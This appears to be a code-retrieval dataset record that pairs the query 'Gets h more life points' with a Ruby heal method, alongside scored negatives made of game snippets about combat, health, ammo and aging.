sprintf(Vocab::ConsumeAmmo, @active_battler.name, gather_ammo_cost, gather_ammo_item.name)\n @message_window.add_instant_text(text)\n else\n # Failed check, go into defense mode\n if TysAmmoRequirements::Unequip_weapon_NoAmmo\n @active_battler.change_equip_by_id(0,0)\n else\n text = sprintf(Vocab::NoAmmo, @active_battler.name, gather_ammo_item.name)\n @message_window.add_instant_text(text)\n @active_battler.action.kind = 1\n execute_action_guard\n end\n end\n # Perform a check to see if Active_Battler is a enemy and has ammo\n elsif @active_battler.is_a?(Game_Enemy) && $data_enemies[@active_battler.enemy_id].note.include?(TysAmmoRequirements::Enemy_ammo_activate_string)\n # Now we have to isolate the interger in the 'Note' string of the enemies\n # and then store the interger in a new local value for future use.\n enemy_ammo_cost = $data_enemies[@active_battler.enemy_id].note.downcase.match('ammocost:(\\d*)')[1].to_i\n enemy_use_physical = true if $data_enemies[@active_battler.enemy_id].note.include?('usephysical')\n enemy_use_physical = false if $data_enemies[@active_battler.enemy_id].note.include?('usephysical') == false\n enemy_ammo_name = TysAmmoRequirements::Enemy_ammo_name[@active_battler.enemy_id]\n # Check to see if the enemy has enough ammo to attack\n if @enemy_ammo[@enemy_attack] >= enemy_ammo_cost\n # Check cleared, remove enemy ammo.\n text = sprintf(Vocab::EnemyUsedAmmo, @active_battler.name, enemy_ammo_name)\n @message_window.add_instant_text(text)\n @enemy_ammo[@enemy_attack] -= enemy_ammo_cost\n else\n # Check failed, put enemy in guard mode \n if enemy_use_physical == false\n text = sprintf(Vocab::EnemyNoAmmo, @active_battler.name, enemy_ammo_name)\n @message_window.add_instant_text(text)\n @active_battler.action.kind = 1\n execute_action_guard\n end\n end\n end\n end",
"def check_captive_behind_enemy \n return true if @captives > 0 and check_for_a_bomb and \n warrior.feel(:left).empty? and !warrior.feel(:left).wall? and\n warrior.look(:forward)[1].to_s.to_sym == :Captive and\n warrior.look(:forward)[0].to_s.to_sym == :Sludge\n return false\n end",
"def is_health_point_good()\r\n if @warrior.health < MAX_HEALTH\r\n return false\r\n end\r\n return true\r\n end",
"def wounds(defence)\n case_one = (attack == 'thurst' && defence == 'charge')\n case_two = (attack == 'swing' && defence == 'dodge')\n case_three = (attack == 'smash' && defence == 'duck')\n if case_one || case_two || case_three\n return 1\n end\n return 0\n end",
"def attack(direction)\r\n @warrior.attack!(direction)\r\n end",
"def attack(direction)\r\n @warrior.attack!(direction)\r\n end",
"def can_attack?(target)\n if target.is_a?(Sub)\n return true if (DamageChart::PriDamage[@unit_type][target.unit_type] != -1 and @ammo > 0)\n else\n return super\n end\n end",
"def can_attack?(target)\n if target.is_a?(Sub)\n return true if (DamageChart::PriDamage[@unit_type][target.unit_type] != -1 and @ammo > 0)\n else\n return super\n end\n end",
"def slip_damage_effect\r\n # Set damage\r\n slip_damage_effect_base_damage\r\n # Dispersion\r\n slip_damage_effect_dispersion\r\n # Subtract damage from HP\r\n slip_damage_effect_damage\r\n # End Method\r\n return true\r\n end",
"def to_hit(armor_class)\n result = 21 - armor_class - [@level, 20].min\n result -= 5 if result > 20\n # Maybe refactor this, it's potentially confusing.\n result -= 1 if @strength > 16\n result\n end",
"def yuusya_attack(hero_attack) #引き数の部分はhero.attackと同義。勇者の攻撃力を用いている\n self.hp -= hero_attack\n end",
"def hit\n self.damage = damage + 1\n check_boat\n end",
"def applyHealing(x)\n if (x.base_damage < 0 || \n x.hp_recovery > 0 || x.hp_recovery_rate > 0 ||\n x.mp_recovery > 0 || x.mp_recovery_rate > 0) == @value\n return true\n else\n return false\n end\n end",
"def attacks(victim)\n #AFFICHE LE JOUEUR ATTAQUANT SA VICTIME\n puts \"le joueur #{self.names} attaque le joueur #{victim.names}\"\n\n #DAMAGE_COMPUTED PREND LA VALEUR DU NOMBRE OBTENU ALEATOIREMENT\n damage_computed = compute_damage\n\n #AFFICHE LE NOMBRE DE DOMMAGES INFLIGES\n puts \"il lui inflige #{damage_computed} points de dommages\"\n\n #VICTIM RECOIS LES DOMMAGES\n victim.gets_damage(damage_computed)\n end",
"def strategy\n\n attacks_in_last_24_hours = Action.where([\"type_id = ? OR type_id = ?\", Action::TYPE_ATTACK_USER, Action::TYPE_ATTACK_USER_DDOS]).where(target_id: id, target_type: \"User\", completed: true).where(\"completed_at >= ?\", DateTime.now-24.hours).count\n\n # how often was the player succesfully attacked in the last 24 hours?\n if successful_attacks_in_last_24_hours > 0 && !counterattack_successful?\n agressiveness = (successful_attacks_in_last_24_hours.to_f/attacks_in_last_24_hours.to_f*100).to_i\n else\n agressiveness = 50\n end\n\n # how many other players can be attacked by this player?\n other_players = User.where([\"id != ?\", id])\n attack_opportunities = 0\n stronger_opportunities = 0\n weaker_opportunities = 0\n total_opportunities = other_players.count*2\n other_players.each do |player|\n [:hack, :ddos].each do |type|\n attack_opportunities += 1 if can_attack?(player, type)\n weaker_opportunities += 1 if to_strong_for(player, type)\n stronger_opportunities += 1 if to_weak_for(player, type)\n end\n end\n\n # assume that own defense is too low if defense is less than 33% of all attributes and more than 25% of other players are stronger\n if (hacking_ratio+defense_ratio+botnet_ratio) > 0 && \n ((defense_ratio.to_f/(hacking_ratio.to_f+defense_ratio.to_f+botnet_ratio.to_f)*100).round(0) < 33) &&\n (stronger_opportunities.to_f/total_opportunities.to_f*100).round(0) > 25\n defensiveness = 100\n else\n defensiveness = 50\n end\n\n # determine strategy according to relation between agressiveness and defensiveness\n if agressiveness > defensiveness\nRails.logger.info(\"---> AI: my strategy is agressive\")\n :agressive\n elsif agressiveness < defensiveness\nRails.logger.info(\"---> AI: my strategy is defensive\")\n :defensive\n else\nRails.logger.info(\"---> AI: my strategy is moderate\")\n :moderate\n end\n end",
"def attacks(player_to_attack)\n puts \"#{@name} attaque #{player_to_attack.name}\"\n damage = compute_damage\n puts \"infligue #{damage} point de degat\"\n puts \"\"\n player_to_attack.get_damage(damage)\n end"
] |
[
"0.7118146",
"0.6769496",
"0.67326003",
"0.6707629",
"0.65526336",
"0.6523617",
"0.6517811",
"0.64987046",
"0.64560974",
"0.63728356",
"0.63708013",
"0.6298258",
"0.6298258",
"0.6248337",
"0.62404156",
"0.6232371",
"0.61978626",
"0.61903983",
"0.61868703",
"0.6182573",
"0.61749303",
"0.6172476",
"0.61496335",
"0.61451554",
"0.61451524",
"0.6130962",
"0.6129714",
"0.6118229",
"0.61122555",
"0.6105281",
"0.61029875",
"0.6098936",
"0.60978",
"0.60623115",
"0.6062148",
"0.6055133",
"0.60475755",
"0.6034854",
"0.6029347",
"0.60292536",
"0.6028976",
"0.6021184",
"0.60204643",
"0.60022944",
"0.60007906",
"0.59926134",
"0.59836966",
"0.5975946",
"0.59719664",
"0.59466344",
"0.59396046",
"0.5936746",
"0.5921292",
"0.5915789",
"0.5914303",
"0.59138274",
"0.59135634",
"0.59115356",
"0.5907973",
"0.5901991",
"0.5898379",
"0.58909786",
"0.58837897",
"0.5873197",
"0.58713263",
"0.587011",
"0.5863302",
"0.5858019",
"0.58575803",
"0.5853254",
"0.58504754",
"0.58387285",
"0.58374643",
"0.58366907",
"0.583639",
"0.58314425",
"0.5831042",
"0.5813852",
"0.5813235",
"0.581032",
"0.58075076",
"0.58050096",
"0.5795543",
"0.57896364",
"0.5776835",
"0.57679695",
"0.5765913",
"0.57606137",
"0.5743158",
"0.5743158",
"0.573692",
"0.573692",
"0.57308143",
"0.57293224",
"0.5728815",
"0.57145876",
"0.5714152",
"0.57084537",
"0.5707172",
"0.570563"
] |
0.68720734
|
1
|
Gets h more life points
|
def heal(h)
if @health+h > @max_health
@health = @max_health
else
@health += h
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def life\n return @life\n end",
"def hp\n h / 360.0\n end",
"def current_hp\n\t\t@current_hp + temp_hp\n\tend",
"def gets_damage(less_points)\n @life_points = @life_points - less_points \n if @life_points <= 0\n puts \"le fantôme #{@name} a été capturé\"\n end\n end",
"def points; end",
"def hit_points\n @hit_points\n end",
"def hit_points\n bonus_feat_hp = @feats_name.include?('Robustesse') ? @character.bonus_per_tier(5, 10, 15) : 0\n full_hp = @klass.base_hp + @constitution.total_value + (@klass.hp_per_level * (@character.level - 1)) + bonus_feat_hp\n healing_surge = (full_hp / 4).floor\n healing_surge += @constitution.modifier if @race.name == 'Drakéide'\n {\n total: full_hp,\n half_blooded: (full_hp / 2).floor,\n healing_surge: healing_surge,\n healing_surge_by_day: @klass.healing_surge + @constitution.modifier\n }\n end",
"def current_life\n 0.01 * total_life * current_life_percent\n end",
"def points\n 1\n end",
"def points()\n\t\t\tfilter()\n\t\t\treturn @points_floor + @points_ceil.reverse\n\t\tend",
"def get_damage(damage_points)\n \t# On soustraie les points de dommage aux points de vie\n \t@life_points = @life_points - damage_points\n\n \t# On vérifie s'il reste des points de vie au joueur\n \tif @life_points <= 0\n \t\tputs \"Le joueur #{@name} a été tué !\"\n \tend\n end",
"def total_hands\n return @@total_hands\n end",
"def hetero_valence\n @ob.get_hetero_valence\n end",
"def validerHypothese()\n\t\ttmp=@grillesHypothese.pop\n\t\t@grillesHypothese.pop\n\t\t@grillesHypothese.push(tmp)\n\t\treturn @grillesHypothese.last\n\tend",
"def getHealth()\n return @hp\n end",
"def getHealth()\n return @hp\n end",
"def hands\n @game_stats['hands']\n end",
"def search_health_pack\r\n des = rand(1..6)\r\n if des == 1 \r\n puts \"Tu n'as rien trouvé...\"\r\n elsif des >=2 && des <= 5\r\n @life_points = @life_points + 50\r\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\r\n else\r\n @life_points = @life_points + 80\r\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\r\n end\r\n\r\n if @life_points > 100\r\n @life_points = 100\r\n end\r\n end",
"def new_life(live_cells)\n Set.new(nearby_dead_cells(live_cells).select { |p| \n come_alive?(live_neighbor_count(p, live_cells)) })\nend",
"def points\n -1\n end",
"def hp_on_kill\n (maxhp * features_sum(:hp_on_kill)).to_i\n end",
"def hours\n _nudge[0]\n end",
"def team_with_more_points(game)\n home_points = game[:home_team][:players].collect do |player|\n player[:stats][:points]\n end.inject {|sum, n| sum + n}\n away_points = game[:away_team][:players].collect do |player|\n player[:stats][:points]\n end.inject {|sum, n| sum + n}\n home_points > away_points ? game[:home_team][:team_name] : game[:away_team][:team_name]\nend",
"def lo_hi_age(life_stage)\n AGE_RE.match(life_stage) or warn \"Funny life_stage #{life_stage.inspect}\"\n lo_age, hi_age, yr = [Float($1), ($2==\"up\" ? 120.0 : Float($2)), $3]\n lo_age, hi_age = lo_age/12, hi_age/12 if (yr == 'mo')\n [lo_age, hi_age]\n end",
"def goal_points\n self[:goal]\n end",
"def win_hp\n maxhp * features_sum(:hp_on_win)\n end",
"def article_age_in_hours title\n $_time_ ||= Time.now.to_i\n fullrow = get_full_row title\n return 10000 unless fullrow\n age = fullrow[6].to_i\n hours = (($_time_ - age)/3600).to_i\n return hours\nend",
"def reduce_HP\n @points -= 10\n end",
"def points() \n\t\t(self.wins()*3+self.draws()) \n\tend",
"def gets_damage(damage)\n @life_points = @life_points - damage\n# point de vie est = point de vie - les dommages saisi\n if @life_points <= 0\n# si les points de vie inférieur ou égal à 0 le joueur est mort \n puts \"le joueur #{@name} a été tué!!\"\n end\n end",
"def search_health_pack\n\t\thealing = rand(1..6)\n\t\tif healing == 1\n\t\t\tputs \"Tu n'as rien trouvé... \"\n\t\telsif healing >= 2 && healing <= 5\n\t\t\tif self.life_points > 50 # Test si les points ajoutés feront passer au dessus de 100 pts\n\t\t\t\tself.life_points = 100\n\t\t\telse\n\t\t\t\tself.life_points += 50\n\t\t\tend\n\t\t\tputs \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n\t\telsif healing == 6\n\t\t\tif self.life_points > 20 # Test si les points ajoutés feront passer au dessus de 100 pts\n\t\t\t\tself.life_points = 100\n\t\t\telse\n\t\t\t\tself.life_points += 80\n\t\t\tend\n\t\t\tputs \"Champagne! Tu as trouvé un pack de +80 points de vie !\"\n\t\tend\n\t\t\n\tend",
"def rejeterHypothese()\n\t\t@grillesHypothese.pop\n\n\t\tif @grillesHypothese.empty?\n\t\t\treturn @grillePrim\n\t\telse\n\t\t\treturn @grillesHypothese.last\n\t\tend\n\tend",
"def size\n\t\tx,y = 0,0\n\t\t@points.each do |point|\n\t\t\tx = point[0]\tif point[0] > x\n\t\t\ty = point[1]\tif point[1] > y\n\t\tend\n\t\treturn [x,y]\n\tend",
"def height\n @y1 - @y0\n end",
"def search_health_pack\n new_health_pack = rand(1..6)\n\n if new_health_pack == 1\n puts \">>> Tu n'as rien trouvé...\"\n\n elsif new_health_pack >= 2 && new_health_pack <= 5\n puts \">>> Bravo, tu as trouvé un pack de +50 points de vie !\"\n\n # If it get +50 points pack and value is >= 50 it return 100 points\n if @life_points >= 50\n @life_points = 100\n # If it get +50 points pack and value is < 50 it return the actual life_points + 50 points\n else\n @life_points = @life_points + 50\n end\n # Same as the +50 points pack\n else\n puts \">>> Waow, tu as trouvé un pack de +80 points de vie !\"\n if @life_points >= 20\n @life_points = 100\n else\n @life_points = @life_points + 80\n end\n end\n end",
"def point_differential\r\n self.home_score-self.away_score\r\n end",
"def subtract_point \n\t\t@lives -= 1\n\tend",
"def total_point\n lecture.etcs_point\n end",
"def faireHypothese()\n\n\t\tif @grillesHypothese.empty?\n\t\t\tnewGrille = YAML.load(@grillePrim.to_yaml)\n\t\t\t@grillesHypothese.push(newGrille)\n\t\telse\n\t\t\tnewGrille = YAML.load(@grillesHypothese.last.to_yaml)\n\t\t\t@grillesHypothese.push(newGrille)\n\t\tend\n\n\t\treturn @grillesHypothese.last\n\tend",
"def hps\n self.total_healing.to_f / self.encounter.duration_in_seconds\n end",
"def zombie_speed\n @zombie_speed\n end",
"def hours\n\t\treturn self * 60.minutes\n\tend",
"def hours\n\t\treturn self * 60.minutes\n\tend",
"def search_health_pack\n dice = rand(1..6)\n if dice == 1\n puts \"Tu n'as rien trouvé... \"\n elsif dice > 1 && dice < 6 \n @life_points += 50 \n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\" \n if @life_points > 100\n @life_points = 100\n end\n elsif dice == 6 \n @life_points += 80\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\n if @life_points > 100\n @life_points = 100\n end\n end\n end",
"def height\n return @shadow_point.y - self.y\n end",
"def height\n return @shadow_point.y - self.y\n end",
"def big_shoe_rebounds\n player_biggest_shoe_size.fetch(:rebounds)\nend",
"def points\n MSPhysics::Newton::CurvySlider.get_points(@address)\n end",
"def points\n MSPhysics::Newton::CurvySlider.get_points(@address)\n end",
"def initialize\n @lives = 5\n @gold = 0\n @health_points = 10\n end",
"def gethashespersec\n coind.gethashespersec\n end",
"def get_damage(damage)\n @life_points = @life_points - damage\n #on verife si le joueur est mort \n #initialise la vie a 0 pour ne pas avoir de nombre negatif\n if @life_points <= 0\n @life_points = 0\n puts \"le joueur #{@name} a ete tue\"\n puts \"\"\n end\n end",
"def size; @hill.length; end",
"def base_points\n points\n end",
"def points\n []\n end",
"def h_dist_total\n self.h_dist_start + self.h_dist_end\n end",
"def dubstep_percussion len\n self << len.Dist # bass drum\n mapee_last.clear_hits\n mapee_last << [0.0]\n self << len.Dist # 2nd bass drum\n mapee_last.clear_hits\n mapee_last << [0.75, 0.875] #two last drum hits\n self << len.Dist # snare\n mapee_last.clear_hits\n mapee_last << [0.5] # third beat\n self << len.Dist # hi hat\n mapee_last.clear_hits\n mapee_last << [0.375,0.625] # off beats\n self << len.Dist # 2nd hi hat\n mapee_last.clear_hits\n mapee_last << [0.125,0.875] # offbeats\n self\n end",
"def get_exp\n exp = 0\n exp = (((@hero.max_health - @hero.cur_health) * 0.85) * @monster.level).round if @winner\n return exp\n end",
"def remaining_points\n stories.not_completed.inject(0) do |accumulator, story|\n accumulator += story.points\n end\n end",
"def current_pts\n self.score\n end",
"def additions\n stat[0]\n end",
"def show_state\n\t\tputs \"#{@name} n'a plus qu'un point de vie !\" if @life_points == 1\n\n\t\tputs \"#{@name} est mort\" if @life_points == 0\n\n\t\tputs \"#{@name} a #{life_points} points de vie\" if @life_points.between?(2,10)\n\tend",
"def life_range\n if birth\n if death\n birth..death # exact\n else\n birth..(birth + max_le) # estimation based on birth\n end\n elsif death\n (death - max_le)..death # estimation based on death\n end\n end",
"def predicted_deaths\n multiplier = 0\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n # end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end",
"def points\n @obj['points']\n end",
"def get_measured_points\n measured_points.points\n end",
"def big_shoe_points\n big_shoes_guy = 0\n points = 0\n game_hash.each do | location, attributes|\n attributes[:players].each do |player, stats|\n if stats[:shoe] > big_shoes_guy\n big_shoes_guy = stats[:shoe]\n points = stats[:points]\n end\n end\n end\n points\nend",
"def h_value(current, goal)\n [(goal.i - current.i).abs, (goal.j - current.j).abs].max\n end",
"def h_value(current, goal)\n [(goal.i - current.i).abs, (goal.j - current.j).abs].max\n end",
"def json_heartrate_big\n\n #get trackpoints that have a HR\n hr_trackpoints = trackpoints.select { |tp| (!tp.hr.nil? && tp.hr > 0) }.compact\n return nil if hr_trackpoints.first.nil?\n\n #Find first offset\n start_offset = hr_trackpoints.first.time - start_time\n\n #Find last offset\n end_offset = end_time - hr_trackpoints.last.time\n start_percent = start_offset / duration\n end_percent = end_offset / duration\n\n # we can't have more points than we have data. Scale down if needed\n number_points = 200 > hr_trackpoints.size ? hr_trackpoints.size : 200\n\n first_blanks = (number_points * start_percent).to_i\n end_blanks = (number_points * end_percent).to_i\n points = []\n\n # flot wants things in milliseconds. \n step = (duration * 1000 / number_points).to_i\n first_blanks.times { |i| points << [step * i, nil] }\n\n graphing_points = number_points - first_blanks - end_blanks\n factor = hr_trackpoints.size / graphing_points\n #factor = 1 if factor == 0\n graphing_points.times do |i| \n points << [step * (i+first_blanks), hr_trackpoints[i * factor].hr]\n end\n points\n end",
"def points\n @puntos = 0\n students.each do |s| \n @puntos += s.points\n end\n @puntos += house_points\n end",
"def goal\n 28\n end",
"def reduce_life\n if @lives > 0\n @lives -= 1\n end\n end",
"def h(x)\n 2*x - @n - 1\n end",
"def show_lives\n puts \"Lives remaining: #{@players[0].name}: #{@players[0].life}/3 - #{@players[1].name}: #{@players[1].life}/3\"\n end",
"def show_state\n if @life_points <= 0\n puts \">>> #{@name} a 0 points de vie\"\n else\n puts \">>> #{@name} a #{@life_points} points de vie\"\n end\n end",
"def level_up_stat_refresh\n st = $game_temp.in_battle\n $game_temp.in_battle = false\n list0 = [max_hp, atk_basis, dfe_basis, ats_basis, dfs_basis, spd_basis]\n @level += 1 if @level < $pokemon_party.level_max_limit\n self.exp = exp_list[@level] if @exp < exp_list[@level].to_i\n self.exp = exp # Fix the exp amount\n hp_diff = list0[0] - @hp\n list1 = [max_hp, atk_basis, dfe_basis, ats_basis, dfs_basis, spd_basis]\n self.hp = (max_hp - hp_diff) if @hp > 0\n $game_temp.in_battle = st\n return [list0, list1]\n end",
"def get_total_points\n @event_points + @performance_points + @enhance_points\n end",
"def eddie_izzards_height (heel_height=0)\n 67 + heel_height\n end",
"def points\n @points ||= begin\n h = Hash.new\n Point::ABS_POINTS_DATA.each do |pt_name|\n h.merge!(pt_name => Point.new(film, pt_name))\n end\n h\n end\n end",
"def take_life\n @lives -= 1\n end",
"def show_state\n puts \"#{@name} has #{@life_points} life points\"\n end",
"def get_away()\n @health -= 10\n puts @health\n end",
"def show_state\n if @life_points < 0\n @life_points = 0\n end\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end",
"def life_count\n puts \"#{@player1.name}'s lives: #{@player1.lives}\\n#{@player2.name}'s lives: #{@player2.lives}\"\n end",
"def awayTeamPoints\n teamSelect(\"Charlotte Hornets\")[:players].collect do|name, stats|\n stats[:points]\n end\nend",
"def current_hp\n puts \"P1: #{@player1.hp}/3 vs P2: #{@player2.hp}/3\"\n end",
"def xp\n self.encounter_enemies.inject(0) { |acc, encounter_enemy| acc += encounter_enemy.number * encounter_enemy.xp }\n end",
"def totalHeures\n total=0\n @feuilles.each { |f| total = total + f.totalHeures }\n total\n end",
"def height\r\n return (@y2-@y1).abs\r\n end",
"def horloges_parties\n cmd = []\n cmd << %Q{-stroke gray50 -fill -pointsize 6.5 -strokewidth 2}\n # Pour le paradigme absolu\n decs = [0,30,60,90,120] # on en aura besoin ci-dessous\n decs.each do |dec|\n h = Horloge.new(horloge:realtime(dec).to_horloge, top:self.class.top_horloge_part_absolue, left:realpos(dec), bgcolor:'gray50', color:'gray90')\n cmd << h.magick_code\n end\n\n # Pour le paradigme propre au film\n [ne(:dv), ne(:d2)||ne(:cv), ne(:dn)].each_with_index do |neu, idx|\n next if neu.nil?\n dec = decs[idx+1]\n leftpos = realpos(dec)\n top = self.class.top_horloge_part_relative\n h = Horloge.new(horloge:neu.time.to_i.to_horloge, top:top, left:leftpos, bgcolor:'gray20', color:'white')\n cmd << h.magick_code\n # Pour le décalage\n leftdec = realpos(dec + 2.5)\n diff = neu.time.to_i - realtime(dec)\n pref = diff > 0 ? '+' : '−'\n cmd << %Q{-stroke black -fill black -draw \"text #{leftdec},#{top+LINE_HEIGHT/5} '#{pref}#{diff.abs.to_horloge}'\"}\n end\n\n return cmd.join(' ')\nend",
"def calories_per_liter\n 672\n end",
"def get_semesters_hours\n\t\t@plans_courses_hash = get_semesters_courses\n\t\t@plan_semester_hours = Hash.new\n\t\t@plans_courses_hash.each do |key, array|\n\t\t\t@plan_semester_hours[\"#{key}\"] = 0\n\t\t\tarray.each do |course|\n\t\t\t\t@plan_semester_hours[\"#{key}\"] += course.hr_low\n\t\t\tend\n\t\tend\n\t\treturn @plan_semester_hours\n\tend",
"def honk_horn\n @horn\n end",
"def predicted_deaths()\r\n # predicted deaths is solely based on population density\r\n # Not the same as before but more accurate\r\n number_of_deaths = (@population * (@population_density / 500)).floor\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n end",
"def eddie_izzards_height(heelHeight=0)\n heelHeight + 67\nend",
"def predicted_deaths(this)\r\n # predicted deaths is solely based on population density\r\n case @population_density\r\n when 200..\r\n number_of_deaths = (@population * 0.4).floor\r\n when 150..200\r\n number_of_deaths = (@population * 0.3).floor\r\n when 100..150\r\n number_of_deaths = (@population * 0.2).floor\r\n when 50..100\r\n number_of_deaths = (@population * 0.1).floor\r\n when 0..50\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n end",
"def n\n points.size\n end",
"def hp_rate\r\n @hp.to_f / mhp\r\n end",
"def hours ; Duration[self * 3600] ; end",
"def huella\n\t\tindice1 = 0\n\t\t#dependiendo del vct de cada ingrediente, se le pone un indice\n\t\tif vct < 670\n\t\t\tindice1 = 1\n\t\t\t\n\t\telsif vct > 830\n\t\t\tindice1 = 3\n\t\telse \n\t\t\tindice1 = 2\n\t\tend \n\t\tindice2 = 0\n\t\t#dependiendo de los gases emitidos de cada ingrediente, \n\t\t#se le pone un indice\n\t\tif emisiones < 800\n\t\t\tindice2 = 1\n\t\telsif emisiones > 1200\n\t\t\tindice2 = 3\n\t\telse \n\t\t\tindice2 = 2\n\t\tend\n\t\t#hace la media de los indices sacados\n\t\tindiceres = (indice1+indice2)/2\n\t\t\n\n\tend"
] |
[
"0.65977895",
"0.6204684",
"0.5952867",
"0.59456986",
"0.5942923",
"0.5926019",
"0.59238946",
"0.5879227",
"0.58359516",
"0.58267635",
"0.5798215",
"0.5751958",
"0.5721998",
"0.5721955",
"0.56946695",
"0.56946695",
"0.56900513",
"0.5688455",
"0.5686052",
"0.5683969",
"0.568228",
"0.5662765",
"0.5614751",
"0.5608378",
"0.5601171",
"0.558956",
"0.55848527",
"0.5579863",
"0.5547027",
"0.55443496",
"0.5543393",
"0.5530312",
"0.55288565",
"0.5504604",
"0.5499023",
"0.548796",
"0.547832",
"0.5473918",
"0.5445982",
"0.5445302",
"0.54390293",
"0.5414329",
"0.5414329",
"0.5402624",
"0.5400402",
"0.5400402",
"0.53969973",
"0.53961486",
"0.53961486",
"0.53961295",
"0.5393748",
"0.5391573",
"0.5380391",
"0.5376911",
"0.5366557",
"0.5359009",
"0.5358892",
"0.53514004",
"0.5346655",
"0.5344812",
"0.5341849",
"0.53382343",
"0.53381044",
"0.53365713",
"0.53365105",
"0.53340197",
"0.5322316",
"0.53168017",
"0.53168017",
"0.53081864",
"0.53025997",
"0.53015494",
"0.5294694",
"0.5292029",
"0.52818125",
"0.5273654",
"0.5272883",
"0.5272013",
"0.52702117",
"0.52702",
"0.5261144",
"0.5257644",
"0.5257619",
"0.5256634",
"0.5242023",
"0.5241658",
"0.5240334",
"0.52367896",
"0.5234228",
"0.52332973",
"0.5231453",
"0.52312523",
"0.5229253",
"0.52252454",
"0.52241135",
"0.52218837",
"0.5213723",
"0.52089804",
"0.52083534",
"0.5207138",
"0.52024305"
] |
0.0
|
-1
|
Adds an age unit to the creature. When it's too young or old, it should not be a very good fighter. During it's postpuberty, it may try to reproduce. If it grows too old, it will die. Returns false if it dies, true otherwise
|
def take_age
@age += 1
@infertility -= 1 if @infertility > 0
@hunger += 1
if @age > @max_age
return false
end
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def age!\n @age < @max_age ? @age+=1 : @dead = true\n @height+=2 unless @height==20\n grow_fruit\n end",
"def dead?\n @age >= 25\n end",
"def levelup?\n if @monster.experience >= @monster.level**3\n @monster.level += 1\n @monster.turns = @monster.level\n @monster.health = 95+(5*@monster.level)\n end\n end",
"def legal?\n @age >= LEGAL_AGE\n end",
"def over_the_hill?\n return false if @age < 40\n true\n end",
"def mature?\n @age >= 6\n end",
"def legal?\n age >= LEGAL_DRIVING_AGE\n end",
"def age!\n @dead = true if age > 10\n if dead?\n puts \"That which is dead is eternal.\"\n else\n @age += 1\n puts \"The tree is now #{age} years old.\"\n bloom\n end\n end",
"def is_an_adult(age)\n if age >= 18\n true\n else\n false\n end\nend",
"def flee(monster)\n if dice_roll < @agility\n puts \"----- Nice! -----\".top_border\n puts \"You've made a deft escape.\".bottom_border\n return true \n else\n puts \"Oh no! Your escape was blocked.\"\n monster.attack(self)\n return false\n end \n end",
"def one_year_passes \n if @alive\n @height += 1\n @age += 1\n end\n \n \n if @age >= 10\n @alive = false\n puts \"This tree has died, at the ripe age of #{age}.\"\n end\n \n if @age >= 5\n @oranges += 15\n end\n end",
"def adulthood\n\t\tself.age.present? and self.age > 18\n\tend",
"def taking_damage?\n if @warrior.health < @health\n true\n else\n false\n end\n end",
"def is_a_teenager(age)\n if age >= 13 && age <= 18\n true\n else\n false\n end\nend",
"def age_checker\n\t\tif @age > 3\n\t\t\tputs \"These have expired and may have degraded\"\n\t\tend\n\tend",
"def is_dead?\n @life <= 0\n end",
"def one_year_passes\n passage_of_time\n puts \"Your #{@type} tree is: #{@age} years old.\" if !@dead\n end",
"def one_year_passes\n @height = (@height + 0.4).round(1)\n @age += 1\n # make the oranges fall off\n @orange_count = 0 if @orange_count > 0\n if @age >= 25\n @alive = false\n puts \"the tree has just died\"\n exit\n end\n end",
"def probably_dead?\n definitely_dead = !death_date.nil?\n no_record = !definitely_dead && birth_date.nil?\n age = Date.today.year - (birth_date&.year || 0)\n definitely_dead || no_record || age > 90\n end",
"def age_test(age, birth_year)\n\trequire 'date'\n\ttest_age = Date.today.year - birth_year\n\tif test_age == age \n\t\treturn true \n\telse \n\t\treturn false\n\tend\nend",
"def game_end?\n end_game if self.age >= max_age\n end",
"def is_health_point_good()\r\n if @warrior.health < MAX_HEALTH\r\n return false\r\n end\r\n return true\r\n end",
"def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@pears << Pear.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end",
"def verify_age(age, year_ob)\r\n #Example, if a person is born on July 2006, and the current date is Jan. 2016\r\n #the person is 9 years old, not 10. We need to account for this small error.\r\n if (Time.now.year - year_ob) - age > 1\r\n return false\r\n end\r\n\r\n return true\r\nend",
"def is_dead?\n @lifespan < 0.0\n end",
"def is_dead?\n @lifespan < 0.0\n end",
"def isAdult(age, adulthoodAge)\n age >= adulthoodAge \nend",
"def celebrate_birthday\n\t\t@age += 1\n\t\tabout(true)\n\tend",
"def covers?(age)\n age >= @min && age < @max\n end",
"def hurt?\n\t\t@warrior.health < 20\n\tend",
"def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@apples << Apple.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end",
"def user_age\n \terrors.add(:birth_day, \"Your age must be 21 years or more\") if\n \t (Date.today.year - self.birth_day.to_i) <= 21\n end",
"def age!\n @age+=1\n unless dead?\n @height+=1\n if @age>=5\n @oranges=@age-5\n end\n else\n @oranges=0\n end\n end",
"def not_too_young?\n if date_of_birth.present?\n if date_of_birth > Time.now.strftime(\"%Y\").to_i\n errors.add(:date_of_birth, \"can't be greater than the actual year\")\n end\n end\n end",
"def probably_dead?\n self.date_of_death.present? ||\n (self.date_of_birth.present? &&\n Date.today.year - self.birth_date.year > 90)\n end",
"def under_attack \n return true if warrior.health < @health\n return false\n end",
"def mature?\n self.age > 5\n end",
"def lost?\n @life <=0\n end",
"def check_legality(age)\n\tprint \"You are #{age}, \"\n\tif age >=18\n\t\tputs \"Drink up to numb the pain\"\n\telse\n\tputs \"You gotta wait for legality!\"\n\tend\nend",
